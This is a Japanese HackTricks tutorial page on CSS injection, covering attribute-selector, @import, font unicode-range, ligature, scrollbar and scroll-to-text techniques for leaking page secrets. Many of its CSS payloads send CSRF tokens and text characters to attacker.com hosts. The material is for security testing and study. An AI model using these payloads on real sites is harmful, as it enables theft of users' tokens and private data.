CSS Injection
Reading time: 33 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
CSS Injection
属性セレクタ
CSSセレクタは、input
要素のname
およびvalue
属性の値に一致するように作成されています。入力要素の値属性が特定の文字で始まる場合、あらかじめ定義された外部リソースが読み込まれます:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
しかし、このアプローチは、隠し入力要素(type="hidden"
)を扱う際に制限に直面します。なぜなら、隠し要素は背景を読み込まないからです。
隠し要素のバイパス
この制限を回避するために、~
一般的な兄弟コンビネータを使用して、次の兄弟要素をターゲットにすることができます。CSSルールは、隠し入力要素の後に続くすべての兄弟に適用され、背景画像が読み込まれるようになります。
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
この技術を利用した実践的な例は、提供されたコードスニペットに詳述されています。こちらで見ることができます here。
CSSインジェクションの前提条件
CSSインジェクション技術が効果的であるためには、特定の条件を満たす必要があります:
- ペイロードの長さ: CSSインジェクションベクターは、作成されたセレクタを収容するのに十分な長さのペイロードをサポートする必要があります。
- CSSの再評価: 新しく生成されたペイロードでCSSの再評価をトリガーするために、ページをフレーム化する能力が必要です。
- 外部リソース: この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシー(CSP)によって制限される可能性があります。
ブラインド属性セレクタ
この投稿で説明されているように、:has
と :not
セレクタを組み合わせて、ブラインド要素からコンテンツを特定することが可能です。これは、CSSインジェクションを読み込むウェブページの中身がわからない場合に非常に便利です。
また、これらのセレクタを使用して、同じタイプの複数のブロックから情報を抽出することも可能です。
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
この技術を次の**@import技術と組み合わせることで、blind-css-exfiltrationを使用して、盲目的なページから多くの情報を流出させることが可能です。
@import
前の技術にはいくつかの欠点があり、前提条件を確認する必要があります。あなたは被害者に複数のリンクを送信できる必要があるか、CSSインジェクション脆弱ページをiframeで表示できる必要があります。
しかし、**CSS @import
**を使用して技術の質を向上させる別の巧妙な技術があります。
これは最初にPepe Vilaによって示され、次のように機能します:
同じページを何度も異なるペイロードで読み込む代わりに(前の方法のように)、ページを一度だけ攻撃者のサーバーへのインポートで読み込むことにします(これが被害者に送信するペイロードです):
@import url("//attacker.com:5001/start?");
- インポートは攻撃者からのCSSスクリプトを受け取ることになります、そしてブラウザはそれを読み込みます。
- 攻撃者が送信するCSSスクリプトの最初の部分は再び攻撃者のサーバーへの別の
@import
です。 - 攻撃者のサーバーはこのリクエストにはまだ応答しません。なぜなら、いくつかの文字を漏洩させ、その後このインポートにペイロードを応答して次の文字を漏洩させたいからです。
- ペイロードの2番目でより大きな部分は属性セレクタ漏洩ペイロードになります。
- これにより、攻撃者のサーバーに秘密の最初の文字と最後の文字が送信されます。
- 攻撃者のサーバーが秘密の最初と最後の文字を受け取ると、ステップ2で要求されたインポートに応答します。
- 応答はステップ2、3、4と全く同じですが、今回は秘密の2番目の文字と次の最後の文字を見つけようとします。
攻撃者は秘密を完全に漏洩させるまでそのループを続けます。
元のPepe Vilaのコードをここで見つけることができますまたはほぼ同じコードですがコメント付きのものをここで見つけることができます。
note
スクリプトは毎回2文字を発見しようとします(始まりからと終わりから)なぜなら、属性セレクタは次のようなことを可能にするからです:
/* value^= 値の始まりに一致させるため*/
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= 値の終わりに一致させるため*/
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
これにより、スクリプトは秘密をより早く漏洩させることができます。
warning
時々、スクリプトは接頭辞 + 接尾辞がすでに完全なフラグであることを正しく検出しないことがあり、接頭辞で前進し(接頭辞)、接尾辞で後退し、ある時点でハングします。
心配しないでください、出力を確認してください、なぜならそこにフラグを見ることができるからです。
その他のセレクタ
CSSセレクタを使用してDOMの部分にアクセスする他の方法:
.class-to-search:nth-child(2)
: これはDOM内のクラス「class-to-search」を持つ2番目のアイテムを検索します。- **
:empty
**セレクタ: 例えば、この解説で使用されています:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
エラーに基づくXS-Search
参考文献: CSSベースの攻撃: @font-faceのunicode-rangeを悪用する、エラーに基づくXS-Search PoC by @terjanq
全体の意図は、**制御されたエンドポイントからカスタムフォントを使用し、指定されたリソース(favicon.ico
)が読み込まれない場合にのみ、テキスト(この場合は'A')がこのフォントで表示されることを保証することです。
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- カスタムフォントの使用:
- カスタムフォントは、
<head>
セクションの<style>
タグ内で@font-face
ルールを使用して定義されます。 - フォントは
poc
と名付けられ、外部エンドポイント(http://attacker.com/?leak
)から取得されます。 unicode-range
プロパティはU+0041
に設定され、特定のUnicode文字'A'をターゲットにしています。
- フォールバックテキストを持つオブジェクト要素:
<body>
セクションにid="poc0"
を持つ<object>
要素が作成されます。この要素はhttp://192.168.0.1/favicon.ico
からリソースを読み込もうとします。- この要素の
font-family
は、<style>
セクションで定義された'poc'
に設定されています。 - リソース(
favicon.ico
)の読み込みに失敗した場合、<object>
タグ内のフォールバックコンテンツ(文字'A')が表示されます。 - 外部リソースが読み込まれない場合、フォールバックコンテンツ('A')はカスタムフォント
poc
を使用してレンダリングされます。
スクロールテキストフラグメントのスタイリング
**:target
**擬似クラスは、URLフラグメントによってターゲットにされた要素を選択するために使用されます。これはCSS Selectors Level 4 specificationで指定されています。::target-text
は、テキストがフラグメントによって明示的にターゲットにされない限り、いかなる要素にも一致しないことを理解することが重要です。
攻撃者がスクロールテキストフラグメント機能を悪用することで、特定のテキストがウェブページに存在することを確認できるというセキュリティ上の懸念が生じます。これは、HTMLインジェクションを通じて自分のサーバーからリソースを読み込むことによって実現されます。この方法は、次のようなCSSルールを注入することを含みます:
:target::before {
content: url(target.png);
}
そのようなシナリオでは、ページに「Administrator」というテキストが存在する場合、リソース target.png
がサーバーからリクエストされ、テキストの存在が示されます。この攻撃の一例は、注入されたCSSをScroll-to-textフラグメントと共に埋め込んだ特別に作成されたURLを通じて実行できます:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
ここでは、攻撃がHTMLインジェクションを操作してCSSコードを送信し、特定のテキスト「Administrator」をScroll-to-textフラグメント(#:~:text=Administrator
)を通じて狙っています。テキストが見つかると、指定されたリソースが読み込まれ、攻撃者にその存在を無意識に知らせることになります。
緩和策として、以下の点に注意する必要があります:
- 制約されたSTTFマッチング: Scroll-to-text Fragment (STTF) は単語や文のみをマッチさせるように設計されており、任意の秘密やトークンを漏洩させる能力を制限しています。
- トップレベルのブラウジングコンテキストへの制限: STTFはトップレベルのブラウジングコンテキストでのみ機能し、iframe内では機能しないため、いかなる悪用の試みもユーザーにとってより目立つものになります。
- ユーザーのアクティベーションの必要性: STTFは動作するためにユーザーのアクティベーションジェスチャーを必要とし、つまり悪用はユーザーが開始したナビゲーションを通じてのみ可能です。この要件は、ユーザーのインタラクションなしに攻撃が自動化されるリスクを大幅に軽減します。それにもかかわらず、ブログ投稿の著者は、攻撃の自動化を容易にする特定の条件やバイパス(例:ソーシャルエンジニアリング、一般的なブラウザ拡張とのインタラクション)を指摘しています。
これらのメカニズムと潜在的な脆弱性を認識することは、ウェブセキュリティを維持し、そのような悪用戦術から保護するための鍵です。
詳細については、元の報告を確認してください: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
この技術を使用したCTFのエクスプロイトをこちらで確認できます。
@font-face / unicode-range
特定のunicode値に対して外部フォントを指定することができ、そのunicode値がページに存在する場合にのみ収集されます。例えば:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
このページにアクセスすると、ChromeとFirefoxは、敏感情報のテキストノードに「A」と「B」文字が含まれているため、「?A」と「?B」を取得します。しかし、ChromeとFirefoxは「C」を含まないため、「?C」を取得しません。これは、「A」と「B」を読み取ることができたことを意味します。
テキストノードの抽出 (I): リガチャ
参考文献: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
この技術は、フォントリガチャを利用してノードからテキストを抽出し、幅の変化を監視することを含みます。プロセスは以下のいくつかのステップで構成されています。
- カスタムフォントの作成:
- SVGフォントは、2文字のシーケンスを表すグリフに大きな幅を設定する
horiz-adv-x
属性を持つグリフで作成されます。 - 例 SVGグリフ:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
、ここで「XY」は2文字のシーケンスを示します。 - これらのフォントは、fontforgeを使用してwoff形式に変換されます。
- 幅の変化の検出:
- CSSを使用してテキストが折り返さないようにし(
white-space: nowrap
)、スクロールバーのスタイルをカスタマイズします。 - 明確にスタイルされた水平スクロールバーの出現は、特定のリガチャ、つまり特定の文字シーケンスがテキストに存在することを示す指標(オラクル)として機能します。
- 関連するCSS:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- エクスプロイトプロセス:
- ステップ1: 幅の大きい文字ペア用のフォントが作成されます。
- ステップ2: 大きな幅のグリフ(文字ペアのリガチャ)がレンダリングされるときに検出するために、スクロールバーを利用したトリックが使用され、文字シーケンスの存在を示します。
- ステップ3: リガチャを検出すると、検出されたペアを含む3文字のシーケンスを表す新しいグリフが生成され、前または後の文字が追加されます。
- ステップ4: 3文字のリガチャの検出が行われます。
- ステップ5: プロセスは繰り返され、テキスト全体が徐々に明らかになります。
- 最適化:
- 現在の初期化方法は
<meta refresh=...
を使用しており、最適ではありません。 - より効率的なアプローチは、CSSの
@import
トリックを利用し、エクスプロイトのパフォーマンスを向上させることができます。
テキストノードの抽出 (II): デフォルトフォントを使用した文字セットの漏洩(外部アセットを必要としない)
参考文献: PoC using Comic Sans by @Cgvwzq & @Terjanq
このトリックはこのSlackersスレッドで公開されました。テキストノードで使用される文字セットは、ブラウザにインストールされているデフォルトフォントを使用して漏洩することができます:外部またはカスタムフォントは必要ありません。
この概念は、アニメーションを利用してdiv
の幅を徐々に拡大し、1文字ずつテキストの「サフィックス」部分から「プレフィックス」部分に移行させることに基づいています。このプロセスは、テキストを2つのセクションに分割します。
- プレフィックス: 初期行。
- サフィックス: 次の行。
文字の遷移段階は次のように表示されます:
C
ADB
CA
DB
CAD
B
CADB
この遷移中に、unicode-rangeトリックが使用され、新しい文字がプレフィックスに加わるたびに特定されます。これは、デフォルトフォントよりも明らかに高いComic Sansフォントに切り替えることで達成され、結果として垂直スクロールバーがトリガーされます。このスクロールバーの出現は、プレフィックスに新しい文字が存在することを間接的に示します。
この方法では、ユニークな文字が現れるときに検出できますが、どの文字が繰り返されているかは特定できず、繰り返しが発生したことのみがわかります。
note
基本的に、unicode-rangeは文字を検出するために使用されますが、外部フォントを読み込むことは望ましくないため、別の方法を見つける必要があります。
文字が見つかったとき、それは事前にインストールされたComic Sansフォントが与えられ、文字を大きくし、スクロールバーをトリガーし、見つかった文字を漏洩させます。
PoCから抽出されたコードを確認してください:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
テキストノードの抽出 (III): デフォルトフォントで文字セットを漏洩させるために要素を隠す (外部アセットを必要としない)
参考: これはこの書き込みでの失敗した解決策として言及されています
このケースは前のケースと非常に似ていますが、この場合の目標は特定の文字を他の文字より大きくすることで何かを隠すことです。例えば、ボットによって押されないボタンや読み込まれない画像などです。したがって、アクション(またはアクションの欠如)を測定し、特定の文字がテキスト内に存在するかどうかを知ることができます。
テキストノードの抽出 (III): キャッシュタイミングによる文字セットの漏洩 (外部アセットを必要としない)
参考: これはこの書き込みでの失敗した解決策として言及されています
この場合、同じオリジンから偽のフォントを読み込むことで、テキストに文字が含まれているかどうかを漏洩させることを試みることができます:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
もし一致があれば、フォントは /static/bootstrap.min.css?q=1
から読み込まれます。成功裏に読み込まれることはありませんが、ブラウザはそれをキャッシュするはずです。キャッシュがなくても、304 not modified メカニズムがあるため、レスポンスは他のものよりも速くなるはずです。
しかし、キャッシュされたレスポンスと非キャッシュのレスポンスの時間差が十分でない場合、これは役に立ちません。例えば、著者は次のように述べています:しかし、テストの結果、最初の問題は速度があまり変わらないことであり、二つ目の問題はボットが disk-cache-size=1
フラグを使用していることで、これは本当に考慮されています。
テキストノードの抽出 (III): 数百のローカル「フォント」を読み込むことで文字セットをタイミングで漏洩させる(外部アセットを必要としない)
参考: これは この書き込みの中での失敗した解決策として言及されています
この場合、一致が発生したときに同じオリジンから数百の偽フォントを読み込むようにCSSを指定できます。この方法で、時間を測定し、文字が現れるかどうかを次のようなもので確認できます:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
そして、ボットのコードは次のようになります:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
フォントが一致しない場合、ボットを訪問した際の応答時間は約30秒になると予想されます。しかし、フォントが一致する場合、フォントを取得するために複数のリクエストが送信され、ネットワークは継続的に活動します。その結果、停止条件を満たし、応答を受け取るまでに時間がかかります。したがって、応答時間はフォントの一致を判断する指標として使用できます。
参考文献
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。